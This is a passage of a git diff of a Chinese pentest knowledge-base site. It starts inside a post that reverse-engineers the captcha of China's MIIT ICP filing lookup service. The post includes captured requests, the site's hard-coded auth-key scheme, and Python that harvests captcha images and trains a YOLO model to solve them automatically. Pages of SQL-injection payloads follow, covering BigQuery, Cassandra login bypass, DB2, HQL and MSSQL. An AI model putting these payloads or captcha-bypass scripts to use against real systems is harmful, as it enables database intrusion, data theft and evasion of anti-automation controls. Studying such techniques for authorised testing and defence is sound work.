Access-Control-Allow-Origin: https://beian.miit.gov.cn
Access-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Via-JSL: 24061e4,-
X-Cache: bypass
Content-Length: 1113

{"code":200,"msg":"操作成功","params":{"sign":"eyJ0eXBlIjozLCJleHREYXRhIjp7InZhZnljb2RlX2ltYWdlX2tleSI6ImNhMDcwYzQ0YzAxYjQzNjY4ZDQyMzVlZmRjOTcwZWJjIn0sImUiOjE3NDY0OTY3MzQ3Mjd9.puSMuFYBv6rcSE7eTUCs_PLUobRSf8kQ76-XuZ40I_Y","smallImage":"iVBORw0KGgoAAAANSUhEUgAAAfQAAAAyCAYAAACqECmXAAACSElEQVR42u3dzWrrMBCA0bz/po+crgqlJJY0M5Kl5gTO4hbs4HDhi/XjPB5fzycAcDgfAgAIOgAg6ACAoAMAgg4Agg4ACDoAIOgAgKADgKADAIIOAAg6AHBf0H9es4/Z8Tp2fh8APjToV69ZQf99XPZVGdrK8wo6ANsHPRPVv8ftGvTq+Ao6AMuH3K/ik43q6LGzQ/jq/JEvNa3PRdABmB70d8PgVcPzPUPvOwW9530FHYB/EfRInCOBi4aw+pW9018xfQCAoDeDfhWeHReTCToAgj54F14Rpuqh6tVD+r1D9BbMATB9lXvrznL0jnhkId3dQc8GVdABOCbo0SHkE4M+GnpBB2CroPcErnquOfq+2Tn07Na1yFY/QQdgetBXLNQ6IeiR6xd0AI4LesXit7uG3O8M+l177QH4kFXurcj0BC/7DPjVQW9da+W+ekEHQNAFHQBBnxP0nr3rJwY9s3bg3TlGngvvPzAAoaBfzZu3olQR9JHV9TODXnFnLugAbB/01r+j29ZmBb1nv3tmhKB3Bf3M35YHQNBD8749QZ8xNF05n927Na5qiF7QAdhqDj276KsnnrOCnn2KXcWceuaLFQCCno559CdVI6GrCurVnf/V30evuyrmgg7A0qBXxWh10DOjBJkHzGS/4AAg6CVbrlpD1tFHxlacOztE3vsjMZk4j5xbzAE4Luijq8VnBD0b5uhohZgDsHxRHAAg6ACAoAOAoPsQAEDQAQBBBwAEHQAQdAAQdABA0AEAQQcABB0ABB0A2Mk3SUNFSvkMxFcAAAAASUVORK5CYII="},"success":true}
+

第三次请求,就是查询了,带着第二次请求的sign,进行请求

+
POST /icpproject_query/api/icpAbbreviateInfo/queryByCondition HTTP/1.1
Host: hlwicpfwc.miit.gov.cn
Cookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f
Content-Length: 67
Sec-Ch-Ua-Platform: "macOS"
Sign: eyJ0eXBlIjozLCJleHREYXRhIjp7InZhZnljb2RlX2ltYWdlX2tleSI6ImNhMDcwYzQ0YzAxYjQzNjY4ZDQyMzVlZmRjOTcwZWJjIn0sImUiOjE3NDY0OTY3MzQ3Mjd9.puSMuFYBv6rcSE7eTUCs_PLUobRSf8kQ76-XuZ40I_Y
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: ?0
Uuid: ca070c44c01b43668d4235efdc970ebc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Token: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ
Origin: https://beian.miit.gov.cn
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://beian.miit.gov.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive

{"pageNum":"","pageSize":"","unitName":"baidu.com","serviceType":1}
+
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 01:53:54 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://beian.miit.gov.cn
Access-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci
Access-Control-Allow-Credentials: true
rci: 13b2f3eed0d64d9ba0f32d7b3c5e3149
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Via-JSL: 24061e4,-
X-Cache: bypass
Content-Length: 647

{"code":200,"msg":"操作成功","params":{"endRow":0,"firstPage":1,"hasNextPage":false,"hasPreviousPage":false,"isFirstPage":true,"isLastPage":true,"lastPage":1,"list":[{"contentTypeName":"","domain":"baidu.com","domainId":10000245113,"leaderName":"","limitAccess":"否","mainId":282751,"mainLicence":"京ICP证030173号","natureName":"企业","serviceId":282911,"serviceLicence":"京ICP证030173号-1","unitName":"北京百度网讯科技有限公司","updateRecordTime":"2019-05-16 16:06:21"}],"navigatePages":8,"navigatepageNums":[1],"nextPage":1,"pageNum":1,"pageSize":10,"pages":1,"prePage":1,"size":1,"startRow":0,"total":1},"success":true}
+

参数分析​

+

Token​

+

我们首先分析Token从哪里来的,可以从上面的三次请求发现,每次请求都携带了Token 那么 token 从哪里来呢?

+

我们先清理一遍浏览器,并刷新

+

image-20250506103745329

+

可以看到这里的请求包,是用来获取Token的

+

image-20250506105052785

+

分析一下前端代码

+

image-20250506110308731

+

跟进调试

+

image-20250506110411706

+

这个auth 就是 testtest+时间戳的md5

+

image-20250506110856409

+

pointJson​

+

那么接下来,查看第二次请求的pointJson是如何来的

+

image-20250506114618926

+

这个 checkPointArr就是这4个点

+

image-20250506114656507

+

跟进调试发现是 AES Pkcs7填充加密

+

image-20250506131510200

+

那么现在关键的来了,checkPointArr 这4个点从哪里来,就是我们接下来的重点了

+

checkPointArr​

+

可以看到他是获取的图片坐标,并添加画圆

+

image-20250506134038917

+

添加后,又进行了画圆的操作

+

image-20250506134346670

+

4个点选完后,触发 checkImgPoint

+

image-20250506134439536

+

我们跟进调试,发现就是请求函数

+

image-20250506134509953

+

所以,我们要实现验证码的自动化,就要让脚本知道这4个点的位置,那么该怎么做呢?

+

点选验证码的自动化​

+

让模型学会点字​

+

点选验证码,传统方法大多是人眼自己看图、自己选,但我们今天的目标很明确:让机器做这些事——自动从图片中识别汉字,按顺序点击。整个过程分为两步:识别图中的汉字位置,然后根据提供的提示字,按正确顺序点击。

+

两步走:从图像到点击​

+
    +
  1. 图像识别: 首先,模型需要识别出图中的 5 个汉字。也就是从整个验证码图片中提取出每个字的坐标,这一步就像让模型具备“看图”的能力,准确找出每个字的位置。
  2. +
  3. 字匹配与排序: 然后,模型根据目标提示,判断图中的哪个字是正确的,并按顺序给出点击顺序。这就相当于“配对”工作,模型要能够判断每个字和提示字的相似度,并按正确的顺序进行排列。
  4. +
+

看起来这很简单,但实际上,这两步可不简单,尤其是图中的干扰信息和字体的变化,给了传统方法不小的挑战。所以,我们需要借助机器学习,尤其是深度学习,来提高识别的准确性。

+

接下来的步骤将详细介绍如何利用 YOLOv5 来识别图中的字,并使用孪生网络进行字匹配。最终,我们会把这些信息转化成可以提交的 pointson 参数。

+

先把字抠出来,提取每个字的位置​

+

验证码中的 5 个字需要通过准确的图像处理技术提取出来,才能进一步处理并进行点击。为了实现这个目标,我们将使用 YOLOv11 模型来检测每个汉字的位置,YOLOv11 是 YOLO 系列的最新版本,相比之前的版本在精度和效率上有了进一步提升。

+

YOLOv11 是最新的目标检测模型,相比 YOLOv5 和其他版本,它在多种标准数据集上都有更强的表现,能够实现更快的推理速度和更高的精度。对于验证码图片来说,我们将用 YOLOv11 来检测汉字的坐标,为后续的点击顺序匹配打下基础。

+

数据集准备​

+

首先,我们需要准备一个包含大量验证码图像和对应标注数据的训练集。标注的内容是每个汉字的矩形框,指示其在图像中的位置。我们可以使用像 labelImg 这样的工具进行手动标注,给每个汉字打上标签并记录其坐标。

+

使用下面代码

+
def getImage(token):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Referer": "https://beian.miit.gov.cn/",
"Token": token,
"Connection": "keep-alive",
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Origin": "https://beian.miit.gov.cn"
}
payload = {
"clientUid": "point-" + str(uuid.uuid4())
}
try:
resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/image/getCheckImagePoint",
headers=headers, json=payload, verify=False).json()
return resp["params"], payload["clientUid"]
except Exception:
time.sleep(5)
resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/image/getCheckImagePoint",
headers=headers, json=payload, verify=False).json()
return resp["params"], payload["clientUid"]

def auth():
t = str(round(time.time()))
data = {
"authKey": hashlib.md5(("testtest" + t).encode()).hexdigest(),
"timeStamp": t
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Referer": "https://beian.miit.gov.cn/",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive",
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Origin": "https://beian.miit.gov.cn"
}
try:
resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/auth", headers=headers,
data=parse.urlencode(data), verify=False).text
return json.loads(resp)["params"]["bussiness"]
except Exception:
time.sleep(5)
resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/auth", headers=headers,
data=parse.urlencode(data), verify=False).text
return json.loads(resp)["params"]["bussiness"]

def get_origin_data(save_dir="origin_data", max_images=100):
"""
获取验证码图片并保存到指定目录。如果发生异常,会重新尝试获取剩余数量的图片。

:param save_dir: 图片保存的目录,默认为 "data/img/big/"
:param max_images: 最大保存的图片数量,默认为 100
"""
token = auth()
time.sleep(0.1)

# 确保保存目录存在
if not os.path.exists(save_dir):
os.makedirs(save_dir)

# 记录已获取的图片数量
images_saved = 0

while images_saved < max_images:
try:
for i in range(images_saved, max_images): # 获取指定数量的图片
print(f"正在获取第{i + 1}张验证码") # i 从 0 开始,所以显示为 i + 1

# 每5次重新获取token
if i % 5 == 0:
token = auth()
time.sleep(0.1)

params, clientUid = getImage(token) # 获取图片信息
# 如果params为空或异常,继续
if not params:
raise ValueError("获取验证码数据失败,重新尝试...")

# 生成随机文件名
filename = random_filename() + ".jpg"
save_path = os.path.join(save_dir, filename)

# 保存图片
with open(save_path, "wb") as f:
f.write(base64.b64decode(params["bigImage"]))

print(f"第{i + 1}张验证码已保存为 {filename}")
images_saved += 1 # 增加已保存的图片数量
time.sleep(1.5)

except Exception as e:
print(f"错误: {e},正在重新尝试获取剩余的 {max_images - images_saved} 张验证码")
# 如果发生异常,继续从剩余图片数开始
time.sleep(2) # 等待一会后重新尝试
continue
+

讲得到的图片集,进行手动标注 使用 labelImg

+

image-20250506140354189

+

这里有几个快捷键

+
    +
  • W:画框
  • +
  • A:上一张
  • +
  • D:一下涨
  • +
  • command + v:复制上一张的画框
  • +
+

大概标注 200-300张图片即可

+

训练 YOLOv11​

+

利用标注好的数据集来训练 YOLOv11 模型

+

首先对原始图片进行拆分,进行8:2 进行才分为 train和val 目录

+
def split(p=os.path.join("datasets", "all")):
dataset_path = p
images_path = os.path.join(dataset_path, "images")
labels_path = os.path.join(dataset_path, "labels")

output_dir = "datasets" # 输出的拆分目录
train_ratio = 0.8
val_ratio = 0.2
# test_ratio = 0.1

# 确保比例加和为1
# assert train_ratio + val_ratio == 1.0

# 创建输出目录
for split in ["train", "val"]:
os.makedirs(os.path.join(output_dir, split, "images"), exist_ok=True)
os.makedirs(os.path.join(output_dir, split, "labels"), exist_ok=True)

# 获取所有图片文件名
image_files = [f for f in os.listdir(images_path) if f.endswith(('.jpg', '.png'))]
random.shuffle(image_files)

# 计算拆分数量
total_images = len(image_files)
train_count = int(total_images * train_ratio)
val_count = int(total_images * val_ratio)

# 拆分数据集
train_files = image_files[:train_count]
val_files = image_files[train_count:train_count + val_count]

# 拷贝文件函数
def copy_files(file_list, split):
for file in file_list:
# 复制图片
src_image_path = os.path.join(images_path, file)
dst_image_path = os.path.join(output_dir, split, "images", file)
shutil.copy(src_image_path, dst_image_path)

# 复制标签
label_file = file.replace('.jpg', '.txt').replace('.png', '.txt')
src_label_path = os.path.join(labels_path, label_file)
dst_label_path = os.path.join(output_dir, split, "labels", label_file)
if os.path.exists(src_label_path): # 确保标签文件存在
shutil.copy(src_label_path, dst_label_path)

# 拷贝到不同集合
copy_files(train_files, "train")
copy_files(val_files, "val")

print("数据集拆分完成!")
+

拆分完成后进行训练

+
def train(train_model="yolo11n.pt"):
model = YOLO(train_model)

# 文字
model.train(data="./dataset.yaml", epochs=100, imgsz="190,500", device="mps")
#
# # Export the model to ONNX format
model.export(format="onnx", imgsz="190,500")
+

dataset.yaml

+
train: train
val: val # 验证集图像路径
test: test # 测试集图像路径

nc: 1 # 只有一个类别
names: ['0']
+

训练完成后 会生成 模型文件 best.onnx

+

image-20250506141137165

+

图像推理与提取​

+

训练好的 YOLOv11 模型可以用来对实际的验证码图像进行推理。它会在图像中输出多个矩形框,每个框的坐标标示一个识别到的汉字的位置。模型会同时提供每个框的置信度,表示它对这个字的识别信心。

+

训练完成后,用下面的代码进行测试 查看 5个图片是否满足要求

+
def test(big_img="", onnx="best.onnx", confidence_thres=0.7, iou_thres=0.7):
if big_img == "":
token = auth()
time.sleep(0.1)
params, clientUid = getImage(token) # 获取图片信息
big_img = read_base64_image(base64_string=params["bigImage"])
else:
big_img = read_base64_image(big_img)

session = onnxruntime.InferenceSession(onnx)
model_inputs = session.get_inputs()

# 读取图像并处理

img_height, img_width = big_img.shape[:2]
img = cv2.cvtColor(big_img, cv2.COLOR_BGR2RGB)
img = cv2.resize(img, (512, 192))
image_data = np.array(img) / 255.0
image_data = np.transpose(image_data, (2, 0, 1))
image_data = np.expand_dims(image_data, axis=0).astype(np.float32)
input = {model_inputs[0].name: image_data}
output = session.run(None, input)
outputs = np.transpose(np.squeeze(output[0]))
rows = outputs.shape[0]
boxes, scores = [], []
x_factor = img_width / 512
y_factor = img_height / 192
for i in range(rows):
classes_scores = outputs[i][4:]
max_score = np.amax(classes_scores)
if max_score >= confidence_thres:
x, y, w, h = outputs[i][0], outputs[i][1], outputs[i][2], outputs[i][3]
left = int((x - w / 2) * x_factor)
top = int((y - h / 2) * y_factor)
width = int(w * x_factor)
height = int(h * y_factor)
boxes.append([left, top, width, height])
scores.append(max_score)
indices = cv2.dnn.NMSBoxes(boxes, scores, confidence_thres, iou_thres)
if len(indices) < 5:
print("检测框数量不足5个")
return False
indices = indices[:5]
for idx in indices: # 使用 indices.flatten() 展开为一维数组
box = boxes[idx] # 获取框
x, y, w, h = box[0], box[1], box[2], box[3]
# 防止越界
x1 = max(0, x)
y1 = max(0, y)
x2 = min(x + w, img_width)
y2 = min(y + h, img_height)

# 裁剪图片
cropped_img = big_img[y1:y2, x1:x2]

# 保存图片
save_path = f"cut_image_{idx}.jpg"
cv2.imwrite(save_path, cropped_img)
print(f"保存图片到 {save_path}")

pass
+

用孪生网络做了个比一比​

+
    +
  • 前面我们已经用 YOLOv11 把验证码图片里的 5 个字抠出来了,但这些字是图像,不是文本。与此同时,验证码的提示信息(比如“请按顺序点击:强、光、爱、国”)给的是文字内容。
  • +
  • 模板字从提示区域截出来
  • +
  • 最终模型选出匹配得分最高的 4 个,按位置排序
  • +
+

四、生成最终的 pointson 参数​

+
    +
  • 把 4 个字的位置 → 生成 4 个点坐标
  • +
  • 按顺序组织好构造成 pointson 参数
  • +
  • 示例结构 or 抓包参考一下真实样子
  • +
+

五、结果还行吗?​

+
    +
  • 成功率测试
  • +
  • 错误的主要点在哪儿(识别不准?匹配失败?)
  • +
  • 有啥优化空间(增强图像、加数据、多训练)
  • +
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/BigQuery/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/BigQuery/index.html new file mode 100644 index 0000000..7ebb247 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/BigQuery/index.html @@ -0,0 +1,42 @@ + + + + + +BigQuery | wjlin0 + + + + + + + +

BigQuery

作者修订时间
wjlin02023-07-05 21:37:29
+

总结​

+

侦查​

+
    +
  • 使用经典的单引号触发错误: '
  • +
  • 使用回溯符号识别 BigQuery:SELECT .... FROM `` AS ...
  • +
+
# Gathering project id
select @@project_id

# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA

# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`
+

大的​

+
select 1#from here it is not working
select 1/*between those it is not working*/
+

基于 BigQuery 联合​

+
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
+

基于 BigQuery 错误​

+
# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '

# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
+

基于 BigQuery 布尔值​

+
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
+

基于时间的 BigQuery​

+
    +
  • BigQuery 语法中不存在基于时间的函数。
  • +
+

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Cassandra/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Cassandra/index.html new file mode 100644 index 0000000..2297234 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Cassandra/index.html @@ -0,0 +1,40 @@ + + + + + +Cassandra | wjlin0 + + + + + + + +

Cassandra

作者修订时间
wjlin02023-07-05 21:37:29
+
+

Apache Cassandra 是一个免费开源的分布式宽列存储 NoSQL 数据库管理系统

+
+

总结​

+ +

卡桑德拉评论​

+
/* Cassandra Comment */
+

Cassandra-绕过登录​

+

登录绕过 0​

+
username: admin' ALLOW FILTERING; %00
password: ANY
+

绕过登录 1​

+
username: admin'/*
password: */and pass>'
+

注入看起来像下面的 SQL 查询

+
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;
+

参考文献​

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/DB2/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/DB2/index.html new file mode 100644 index 0000000..693b023 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/DB2/index.html @@ -0,0 +1,92 @@ + + + + + +DB2 | wjlin0 + + + + + + + +

DB2

作者修订时间
wjlin02023-07-05 21:37:29
+

总结​

+ +

DB2 聊天​

+

版本​

+
select versionnumber, version_timestamp from sysibm.sysversions;
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
select service_level,bld_level from sysibmadm.env_inst_info
+

评论​

+
select blah from foo -- comment like this (double dash)
+

当前用户​

+
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
+

列出用户​

+

DB2 使用操作系统帐户

+
select distinct(authid) from sysibmadm.privileges -- priv required
select grantee from syscat.dbauth -- incomplete results
select distinct(definer) from syscat.schemata -- more accurate
select distinct(grantee) from sysibm.systabauth -- same as previous
+

列出权限​

+
select * from syscat.tabauth -- shows priv on tables
select * from syscat.tabauth where grantee = current user -- shows privs for current user
select * from syscat.dbauth where grantee = current user;;
select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies
+

列出 DBA 帐户​

+
select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’
+

当前数据库​

+
select current server from sysibm.sysdummy1
+

列出数据库​

+
select distinct(table_catalog) from sysibm.tables
SELECT schemaname FROM syscat.schemata;
+

列出列​

+
select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
+

列出表格​

+
select table_name from sysibm.tables
select name from sysibm.systables
+

从列名查找表​

+
select tbname from sysibm.syscolumns where name='username'
+

选择第 N 行​

+
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
+

选择第 N 个字符​

+
select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
+

按位与/或/非/异或​

+
select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot
+

ASCII 值​

+
Char	select chr(65) from sysibm.sysdummy1 -- returns 'A'
+

字符->ASCII 值​

+
select ascii('A') from sysibm.sysdummy1 -- returns 65
+

铸造​

+
select cast('123' as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
+

凹形字符串​

+
select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
+

IF 声明​

+

似乎只允许在存储过程中使用。请改用案例逻辑。

+

案例说明​

+
select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1
+

避免引用​

+
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too
+

时间延迟​

+

重查询,例如:如果用户以 ascii 68('D')开头,则将执行重查询,从而延迟响应。然而,如果用户不从 ascii 68 开始,那么重查询将不会执行,因此响应将更快。

+
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 
+

序列化为 XML(用于基于错误的)​

+
select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
+

命令执行和本地文件访问​

+

似乎只允许来自过程或 UDF。

+

主机名/IP 和操作系统信息​

+
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
+

数据库文件的位置​

+
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
+

系统配置​

+
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
+

默认系统数据库​

+
    +
  • 系统 ibm
  • +
  • 系统计算机
  • +
  • 系统统计
  • +
  • 系统公共
  • +
  • 摘要
  • +
  • 系统工具
  • +
+

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/HQL/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/HQL/index.html new file mode 100644 index 0000000..8ea60e4 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/HQL/index.html @@ -0,0 +1,75 @@ + + + + + +HQL | wjlin0 + + + + + + + +

HQL

作者修订时间
wjlin02023-07-05 21:37:29
+
+

Hibernate ORM(简称 Hibernate)是 Java 编程语言的对象关系映射工具。它提供了一个将面向对象的域模型映射到关系数据库的框架维基百科

+
+

HQL 评论​

+
HQL does not support comments
+

HQL 列表列​

+
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
+

使用一个不存在的列将导致一个异常,泄漏多个列名。

+
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
+

基于 HQL 错误​

+
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
+

基于值强制转换的错误。

+
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
+

⚠️

+

单引号转义​

+

方法适用于 MySQL DBMS,该 DBMS 使用 SLASH 转义字符串中的 SINGLE QUOTES \'。

+

在 HQL 中,SINGLE QUOTES 通过加倍 '' 以字符串形式转义。

+
'abc\''or 1=(select 1)--'
+

在 HQL 中它是一个字符串,在 MySQL 中它是字符串和附加的 SQL 表达式。

+

$ 带引号的字符串​

+

方法适用于允许在 SQL 表达式中使用 DOLLAR-QUOTED 字符串的 DBMS:PostgreSQL,H2。

+

Hibernate ORM 允许标识符以 $$ 开头。

+
$$='$$=concat(chr(61),chr(39)) and 1=1--'
+

DBMS 魔术函数​

+

方法适用于具有 MAGIC FUNCTIONS 的 DBMS,该函数用于计算字符串参数中的 SQL 表达式:PostgreSQL、Oracle。

+

Hibernate 允许在 HQL 表达式中指定任何函数名称。

+

PostgreSQL 内置函数 query_to_xml('Arbitrary SQL')。

+
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
+

Oracle 具有内置功能 DBMS_XMLGEN.getxml('SQL')

+
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
+

统一码​

+

方法适用于允许 SQL 令牌之间使用 UNICODE 分隔符(例如 U+00A0)的 DBMS:Microsoft SQL Server,H2。

+

在 Microsoft SQL SERVER 中, SELECT LEN([U+00A0](select[U+00A0](1)) 的工作原理与相同;

+

HQL 允许在标识符(函数或参数名称)中使用 UNICODE 符号。

+
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
+

Java 常量​

+

方法适用于大多数 DBMS(不适用于 MySQL)。

+

Hibernate 解析 HQL 查询中的 Java 公共静态字段(Java 常量):

+
    +
  • 具有 Java 常量的类必须在类路径中
  • +
  • 例如, java.lang.Character.SIZE 被解析为 16
  • +
  • 字符串或字符常量另外用单引号括起来
  • +
+

要使用 JAVA 常量方法,我们需要在类路径上的类或接口中声明特殊的字符或字符串字段。

+
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = '\'';
public static final char C_QUOTE_2 = '\047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
+

众所周知的 Java 库中的一些可用常量:

+
org.apache.batik.util.XMLConstants.XML_CHAR_APOS         [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
+
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
+

DBMS 的方法​

+

image

+

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MSSQL/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MSSQL/index.html new file mode 100644 index 0000000..bce68c5 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MSSQL/index.html @@ -0,0 +1,172 @@ + + + + + +MSSQL | wjlin0 + + + + + + + +

MSSQL

作者修订时间
wjlin02023-07-05 21:37:29
+

MSSQL 默认数据库​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name描述
pubsMSSQL 2005 上不可用
model提供所有版本
msdb提供所有版本
tempdb提供所有版本
northwind提供所有版本
information_schemaMSSQL 2000 及更高版本中的 Availalble
+

MSSQL 注释​

+ + + + + + + + + + + + + + + + + + + + + +
Type描述
/* MSSQL Comment */C 样式注释
-- -SQL 注释
;%00空字节
+

MSSQL 用户​

+
SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;
+

MSSQL Version​

+
SELECT @@version
+

MSSQL 主机名​

+
SELECT HOST_NAME()
SELECT @@hostname
SELECT @@SERVERNAME
SELECT SERVERPROPERTY('productversion')
